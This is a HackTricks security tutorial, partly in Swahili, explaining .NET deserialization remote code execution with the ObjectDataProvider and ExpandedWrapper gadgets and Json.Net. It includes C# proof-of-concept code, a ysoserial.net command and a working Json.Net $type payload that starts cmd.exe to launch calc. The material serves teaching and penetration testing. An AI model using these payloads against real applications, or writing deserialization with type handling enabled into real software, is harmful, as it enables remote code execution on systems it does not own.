Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Support HackTricks

This post is dedicated to kuelewa jinsi gadget ObjectDataProvider inavyotumiwa kupata RCE na jinsi maktaba za Serialization Json.Net na xmlSerializer zinaweza kutumika vibaya na gadget hiyo.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source. Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini kilichomo katika darasa hili ambacho ni cha kuvutia sana: Darasa hili linaruhusu kufunga kitu chochote, tumia MethodParameters kuweka vigezo vyovyote, na kisha tumia MethodName kuita kazi yoyote ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote. Hivyo, kitu chochote kitafanya kazi na vigezo wakati kinapokuwa kinadeserialized.

Jinsi hii inavyowezekana

Namespace ya System.Windows.Data, iliyopatikana ndani ya PresentationFramework.dll katika C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ndiyo mahali ambapo ObjectDataProvider imefafanuliwa na kutekelezwa.

Kwa kutumia dnSpy unaweza kuangalia msimbo wa darasa tunalolipenda. Katika picha hapa chini tunaona msimbo wa PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Kama unavyoona wakati MethodName imewekwa base.Refresh() inaitwa, hebu tuangalie inafanya nini:

Sawa, hebu tuendelee kuona this.BeginQuery() inafanya nini. BeginQuery imeandikwa upya na ObjectDataProvider na hii ndiyo inafanya:

Kumbuka kwamba mwishoni mwa msimbo inaita this.QueryWorke(null). Hebu tuone inatekeleza nini:

Kumbuka kwamba hii si msimbo kamili wa kazi QueryWorker lakini inaonyesha sehemu ya kuvutia ya hiyo: Msimbo unaita this.InvokeMethodOnInstance(out ex); hii ndiyo mistari ambapo seti ya njia inaitwa.

Ikiwa unataka kuangalia kwamba kwa kuweka tu MethodName** itatekelezwa**, unaweza kukimbia msimbo huu:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

Darasa hili linaruhusu kuelezea aina za vitu vya vitu ambavyo vimefungwa katika mfano fulani. Hivyo, darasa hili linaweza kutumika kufunga kitu cha chanzo (ObjectDataProvider) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (ObjectDataProvider.MethodName na ObjectDataProvider.MethodParameters). Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa kufunga _ObjectDataProvider** ndani ya **ExpandedWrapper _ mfano na wakati wa deserialization darasa hili litaunda OjectDataProvider kitu ambacho kitafanya kazi iliyoonyeshwa katika MethodName.

You can check this wrapper with the following code:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Katika ukurasa rasmi inaonyeshwa kwamba maktaba hii inaruhusu Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia Json.NET's powerful JSON serializer. Hivyo, ikiwa tunaweza kufungua tena gadget ya ObjectDataProvider, tunaweza kusababisha RCE kwa kufungua tena kitu.

Mfano wa Json.Net

Kwanza kabisa hebu tuone mfano wa jinsi ya kufanya uhifadhi/ufunguo wa tena kitu kwa kutumia maktaba hii:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusing Json.Net

Using ysoserial.net niliunda exploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Katika hii code unaweza kujaribu exploit, endesha tu na utaona kwamba calc inatekelezwa:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Support HackTricks

Last updated